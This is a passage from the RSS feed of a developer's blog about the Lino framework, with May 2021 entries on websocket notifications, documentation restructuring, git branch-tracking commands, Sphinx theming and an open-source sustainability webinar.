&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go hg
$ cd projects/ansible
$ docker build -t newserver -f Newserver ~/.ssh
$ docker run -it newserver /bin/bash
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0527.html</guid><pubDate>Thu, 27 May 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, May 26, 2021</title><link>https://luc.lino-framework.org/blog/2021/0526.html</link><description>&lt;section id="wednesday-may-26-2021"&gt;
&lt;h1&gt;Wednesday, May 26, 2021&lt;a class="headerlink" href="#wednesday-may-26-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/projects/tera1.html#module-lino_book.projects.tera1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.tera1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo project (Tera) gives
“AttributeError: ‘str’ object has no attribute ‘main’”. I don’t yet understand
why this happened now, but anyway &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;set_detail_layout()&lt;/span&gt;&lt;/code&gt; is no longer needed
in this case because we can now override a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/layouts/index.html#term-detail-layout" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;detail layout&lt;/span&gt;&lt;/a&gt; by using a
class already in the beginning.&lt;/p&gt;
&lt;p&gt;Miscellaneous changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;ledger.MyMovements&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;atelier: It is now possible to instantiate a &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.projects.html#atelier.projects.Project" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.projects.Project&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
for a root directory that contains neither a &lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#xfile-tasks.py" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tasks.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; nor a
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file. The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0526.html</guid><pubDate>Wed, 26 May 2021 00:00:00 +0000</pubDate></item><item><title>Monday, May 24, 2021</title><link>https://luc.lino-framework.org/blog/2021/0524.html</link><description>&lt;section id="monday-may-24-2021"&gt;
&lt;h1&gt;Monday, May 24, 2021&lt;a class="headerlink" href="#monday-may-24-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and I continued to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3049"&gt;#3049&lt;/a&gt; (Websocket connection in React
for notifications).&lt;/p&gt;
&lt;p&gt;I moved the “Writing documentation” section of the Developer Guide into a new
top-level section “Documenter Guide” (&lt;a class="reference external" href="https://dev.lino-framework.org/writedocs/index.html#writedocs" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Writing documentation&lt;/span&gt;&lt;/a&gt;). It contains a  new page
&lt;a class="reference external" href="https://dev.lino-framework.org/writedocs/shared.html#writedocs-shared" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Shared documentation pages&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0524.html</guid><pubDate>Mon, 24 May 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, May 23, 2021</title><link>https://luc.lino-framework.org/blog/2021/0523.html</link><description>&lt;section id="sunday-may-23-2021"&gt;
&lt;h1&gt;Sunday, May 23, 2021&lt;a class="headerlink" href="#sunday-may-23-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and I had a three-hours session for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3049"&gt;#3049&lt;/a&gt; (Websocket connection
in React for notifications).  Before this, Saturday, we had a historic meeting
where Hamza joined us and presented what he had done on &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_websockets&lt;/span&gt;&lt;/code&gt;
two years ago.&lt;/p&gt;
&lt;p&gt;Now Sharif and I moved &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_websockets&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_push_api&lt;/span&gt;&lt;/code&gt; from
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site&lt;/span&gt;&lt;/code&gt; to the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.notify.html#module-lino.modlib.notify" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin. They are no longer site
attributes but plugin options.  The &lt;a class="reference external" href="https://dev.lino-framework.org/projects/chatter.html#module-lino_book.projects.chatter" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.chatter&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo
project will be the only place where&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_push_api&lt;/span&gt;&lt;/code&gt; option means that Lino uses the  &lt;a class="reference external" href="https://www.w3.org/TR/push-api/"&gt;Push API&lt;/a&gt; for sending notifications.&lt;/p&gt;
&lt;p&gt;I installed pywebpush and ngrok (pronounced [en-grok]) on my machine.
&lt;a class="reference external" href="https://ngrok.com/docs#name"&gt;https://ngrok.com/docs#name&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We had some fiddling with git because I still don’t fully understand how to work
with remote branches.  Some excerpts to be integrated into &lt;a class="reference external" href="https://dev.lino-framework.org/dev/git.html#dev-git" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Git cheat sheet&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git branch --track remote_branch

$ git stash save
Saved working directory and index state WIP on master: 0d9947c2 fix 2 warnings term not in glossary
$ git stash pop

$ git branch -u origin/blurry blurry
Branch &amp;#39;blurry&amp;#39; set up to track remote branch &amp;#39;blurry&amp;#39; from &amp;#39;origin&amp;#39;.


$ git branch -u origin/blurry blurry
error: the requested upstream branch &amp;#39;origin/blurry&amp;#39; does not exist
hint:
hint: If you are planning on basing your work on an upstream
hint: branch that already exists at the remote, you may need to
hint: run &amp;quot;git fetch&amp;quot; to retrieve it.
hint:
hint: If you are planning to push out a new local branch that
hint: will track its remote counterpart, you may want to use
hint: &amp;quot;git push -u&amp;quot; to set the upstream config as you push.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How to fetch a remote branch and start tracking it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="n"&gt;fetch&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@gitlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="n"&gt;blurry&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;blurry&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How to see whether my branches are remote:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="n"&gt;branch&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;vv&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Situation: I am on master. Sharif created and pushed a new remote branch blurry.
To see his work, I do:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="n"&gt;checkout&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="n"&gt;blurry&lt;/span&gt; &lt;span class="n"&gt;origin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;blurry&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;See &lt;cite&gt;man git checkout&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0523.html</guid><pubDate>Sun, 23 May 2021 00:00:00 +0000</pubDate></item><item><title>Friday, May 21, 2021</title><link>https://luc.lino-framework.org/blog/2021/0521.html</link><description>&lt;section id="friday-may-21-2021"&gt;
&lt;h1&gt;Friday, May 21, 2021&lt;a class="headerlink" href="#friday-may-21-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;After several weeks of heavily reviewing the Lino documentation in general, I am
trying to calm down. The job is not finished, but I am tired of writing &lt;em&gt;about&lt;/em&gt;
Lino.  I prefer to &lt;em&gt;write&lt;/em&gt; free software than to write &lt;em&gt;about&lt;/em&gt; it. But before
focussing back to the real things, I want to get the CI pipelines on GitLab
green again.&lt;/p&gt;
&lt;p&gt;The documentation about Lino is currently stored in at least five repositories,
and their URLs are automatically added as intersphinx targets to every doctree
that uses &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.sphinxcontrib.html#lino.sphinxcontrib.configure" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.sphinxcontrib.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;im&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://www.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;im&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://community.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;im&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ug&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://using.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;im&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://hosting.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;im&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;book&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://dev.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;These URLs are duplicated in another file,
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/shared/include/part_of_lino.rst&lt;/span&gt;&lt;/code&gt;, which adds my blog.&lt;/p&gt;
&lt;p&gt;The Rumma &amp;amp; Ko company website is &lt;em&gt;not&lt;/em&gt; part of the Lino docs because our
long-term vision is to create a &lt;a class="reference external" href="https://www.synodalsoft.net/name/#lsf" title="(in Synodalsoft)"&gt;&lt;span&gt;About our name&lt;/span&gt;&lt;/a&gt; who governs Lino while &lt;a class="reference internal" href="../../about/friends.html#rumma"&gt;&lt;span class="std std-ref"&gt;Rumma &amp;amp; Ko&lt;/span&gt;&lt;/a&gt;
would just be one &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-development-provider" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;development provider&lt;/span&gt;&lt;/a&gt; among many others.&lt;/p&gt;
&lt;p&gt;I added a substitution definition for the &lt;img alt="external link" class="pi-button" src="../../_images/external-link.svg" /&gt; button, which  the
&lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-React-front-end" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;React front end&lt;/span&gt;&lt;/a&gt; uses for the action that “liberates a slave”, i.e. opens
a &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-slave-panel" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;slave panel&lt;/span&gt;&lt;/a&gt; in its own &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-data-window" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;data window&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Oops, the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;pi-button&lt;/span&gt;&lt;/code&gt; class used by the &lt;img alt="external link" class="pi-button" src="../../_images/external-link.svg" /&gt; button (and all
other icons from PrimeIcons) was in the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;linodocs.css&lt;/span&gt;&lt;/code&gt; file, which I
removed some days ago. I resurrected it in a new &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.css&lt;/span&gt;&lt;/code&gt;, which
comes automatically with atelier.&lt;/p&gt;
&lt;section id="voga1r-demo-cannot-enroll-existing-client-in-existing-activity"&gt;
&lt;h2&gt;voga1r demo : cannot enroll existing client in existing activity&lt;a class="headerlink" href="#voga1r-demo-cannot-enroll-existing-client-in-existing-activity" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Main problem is that it doesn’t work in the online demo. Not reproducible in
current roger demo.&lt;/p&gt;
&lt;p&gt;Another problem is usability: users must guess that they need to go to the
&lt;em&gt;Activities&lt;/em&gt; tab and then click the [external-link] button of the “Enrolments in
Activities of Hans Altenberg (MEL) (Also Cancelled)” panel where they have an
“Insert” button. The fix to this problem is probably straightforward: just say
“summary” or “html” instead of “grid” for the courses.EnrolmentsByPupil slave
table.&lt;/p&gt;
&lt;p&gt;display_mode “html” is good, “summary” isn’t what they want. But the html
display mode is not beautiful in React. I will create another ticket for that.&lt;/p&gt;
&lt;p&gt;Another thing to do : Voga needs a user type “Participant”, and a participant
should see the courses to which they are enrolled, should be able to apply for
enrolment in a course, stop an enrolment, manage their presences, …&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-pronto-mercato-and-ciao"&gt;
&lt;h2&gt;About pronto, mercato and ciao&lt;a class="headerlink" href="#about-pronto-mercato-and-ciao" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I moved pronto from GitHub to GitLab. One of the last repos that needed to move
(&lt;a class="reference external" href="https://dev.lino-framework.org/team/gh2gl.html#gh2gl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Moving from GitHub to GitLab&lt;/span&gt;&lt;/a&gt;). The pronto project is sleeping doesn’t contain much work, but it
might wake up one day, and it is part of the known contributor repositories
installed by getlino. But the mercato and ciao projects didn’t contain any
significant work and I started to remove them: getlino actually never knew them.
I deleted them on GitHub.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0521.html</guid><pubDate>Fri, 21 May 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, May 20, 2021</title><link>https://luc.lino-framework.org/blog/2021/0520.html</link><description>&lt;section id="thursday-may-20-2021"&gt;
&lt;h1&gt;Thursday, May 20, 2021&lt;a class="headerlink" href="#thursday-may-20-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-at-the-hackerx-event"&gt;
&lt;h2&gt;Lino at the HackerX event&lt;a class="headerlink" href="#lino-at-the-hackerx-event" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonight I will attend &lt;a class="reference external" href="https://hopin.com/events/hackerx-tallinn-full-stack-may-20th"&gt;HackerX&lt;/a&gt;,  “the world’s
largest invite-only networking &amp;amp; recruiting event for developers”.  It is an
online event where developers can enter for free because they are actually what
is being sold to the customers. The customers are companies in search of new
human resources. I probably don’t fit into their standard product pattern but
they did let me in. Nice.&lt;/p&gt;
&lt;p&gt;Here is my self-presentation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Developer skills: Linux, Python, Django, Sphinx, Git, React.  Long-term
experience in accounting, team management, sales agreements, website
authoring.&lt;/p&gt;
&lt;p&gt;I am not only a Senior Developer, I am also CEO and one of the two owners of
&lt;a class="reference internal" href="../../about/friends.html#rumma"&gt;&lt;span class="std std-ref"&gt;Rumma &amp;amp; Ko&lt;/span&gt;&lt;/a&gt;. I started employing other developers in 2015 (see &lt;a class="reference external" href="https://www.saffre-rumma.net/team/"&gt;my team page&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I am the author and maintainer of the &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span class="xref std std-ref"&gt;Lino framework&lt;/span&gt;&lt;/a&gt;. I have been
working on this vision my whole life. I am not going to stop working on it.&lt;/p&gt;
&lt;p&gt;I attend to HackerX in the hope of finding my future boss and employer, an
existing legal person who would take over our company and bring Lino to the
next level.&lt;/p&gt;
&lt;p&gt;So I am a job seeker with special conditions: you need to convince me that you
believe in &lt;a class="reference external" href="https://www.synodalsoft.net/vision/#ss-vision" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-ref"&gt;the Lino vision&lt;/span&gt;&lt;/a&gt; and will continue
collaborating with our existing customers and employees.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;(Edit: I later used above thoughts for my &lt;a class="reference internal" href="../../about/hire.html"&gt;&lt;span class="doc"&gt;Hire me&lt;/span&gt;&lt;/a&gt; page.)&lt;/p&gt;
&lt;p&gt;I explained “What is Lino?” in 5 minutes to about 15 humans. It was a good
exercise and a vitalizing evening. As expected I didn’t find any partner, which
just confirms that &lt;a class="reference external" href="https://hw.saffre-rumma.net/corporations/#term-private-corporation" title="(in Human World)"&gt;&lt;span class="xref std std-term"&gt;private corporations&lt;/span&gt;&lt;/a&gt; are no
candidate for Lino.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="tweaking-the-docs-about-lino"&gt;
&lt;h2&gt;Tweaking the docs about Lino&lt;a class="headerlink" href="#tweaking-the-docs-about-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am having the minor issue that &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; writes all the pages each time
again and again, even when I changed only one word in one page of my blog.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.html#rstgen.sphinxconf.configure" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now adds the ‘sphinx.ext.autodoc’ and
‘sphinx.ext.autosummary’ extensions only when the project’s &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#envvar-SETUP_INFO" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;SETUP_INFO&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
contains a ‘name’ key. It’s a good thing to avoid loading autodoc when it is not
needed, but this didn’t fix my problem.&lt;/p&gt;
&lt;p&gt;One visitor recommended to use plain black as font color. I fully disabled the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;linodocs.css&lt;/span&gt;&lt;/code&gt; file added by &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.sphinxcontrib.logo.html#module-lino.sphinxcontrib.logo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.sphinxcontrib.logo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. If it turns
out that we still want some of the features in this file, we should anyway
reimplement them in a more flexible way. At the moment we have a copy of
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;linodocs.css&lt;/span&gt;&lt;/code&gt; in every doctree.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="simulate-a-https-server-on-your-development-machine"&gt;
&lt;h2&gt;Simulate a HTTPS server on your development machine&lt;a class="headerlink" href="#simulate-a-https-server-on-your-development-machine" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sharif is testing desktop notifications. We installed a simulated production
server on his machine, and I wrote a Howto page for this in the Contributor
Guide: &lt;a class="reference external" href="https://dev.lino-framework.org/contrib/https.html#book-contrib-https" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Simulate a HTTPS server on your development machine&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0520.html</guid><pubDate>Thu, 20 May 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, May 18, 2021</title><link>https://luc.lino-framework.org/blog/2021/0518.html</link><description>&lt;section id="tuesday-may-18-2021"&gt;
&lt;h1&gt;Tuesday, May 18, 2021&lt;a class="headerlink" href="#tuesday-may-18-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The docs are ugly on a desktop screen because the pydata theme tries to display
the top-level menu items in the top navigation bar.&lt;/p&gt;
&lt;a class="reference internal image-reference" href="../../_images/0518-pydata-issue.png"&gt;&lt;img alt="../../_images/0518-pydata-issue.png" src="../../_images/0518-pydata-issue.png" style="width: 90%;" /&gt;
&lt;/a&gt;
&lt;p&gt;pydata-theme works only well when the top-level page titles are very short. I
read &lt;a class="reference external" href="https://pydata-sphinx-theme.readthedocs.io/en/latest/user_guide/sections.html"&gt;the docs&lt;/a&gt;
and played around in both theme configurations, but finally repented back to the
insipid theme.&lt;/p&gt;
&lt;section id="sustainability-of-oss-communities"&gt;
&lt;h2&gt;Sustainability of OSS Communities&lt;a class="headerlink" href="#sustainability-of-oss-communities" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I attended to an online webinar organized by OSOR about their document
“Guidelines for Sustainable Open Source Communities in the Public Sector”.&lt;/p&gt;
&lt;p&gt;Have a look at Joinup to discover the OSOR resources:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://joinup.ec.europa.eu/collection/open-source-observatory-osor/knowledge-centre"&gt;https://joinup.ec.europa.eu/collection/open-source-observatory-osor/knowledge-centre&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The Guidelines for creating sustainable open source communities are accessible here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://joinup.ec.europa.eu/collection/open-source-observatory-osor/guidelines-creating-sustainable-open-source-communities"&gt;https://joinup.ec.europa.eu/collection/open-source-observatory-osor/guidelines-creating-sustainable-open-source-communities&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The document is based on five case studies:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;CONSUL platform for participatory democracy developed in in Groningen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Integreat. New arrivals’ integration in Germany.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Developers Italia, an online platform to discuss ongoing or future
projects.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lutece in France. A CMS developed and maintained by City of Paris.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;OSKARI framework for integrating geospatial data into web sites.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chloé Dussutour (OSOR Team) asked us to share our experience with them by
providing feedback on the Guidelines:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://joinup.ec.europa.eu/collection/open-source-observatory-osor/news/we-want-hear-your-feedback-sustainability-guidelines"&gt;https://joinup.ec.europa.eu/collection/open-source-observatory-osor/news/we-want-hear-your-feedback-sustainability-guidelines&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I said that I am surprised that the FSFE and its &lt;a class="reference external" href="https://publiccode.eu/"&gt;Public Money Public Code&lt;/a&gt; campaign is not mentioned in the Guidelines. Answer:
PMPC has a clear political direction, while the OSOR is a public administration
and as such must remain neutral.&lt;/p&gt;
&lt;p&gt;Which does not mean that there is no communication. For example here is a FOSDEM
2021 interview  by Alexander Sander (FSFE) and Evangelos Tsavalopoulos about the
European Commission Open Source Strategy:&lt;/p&gt;
&lt;blockquote&gt;
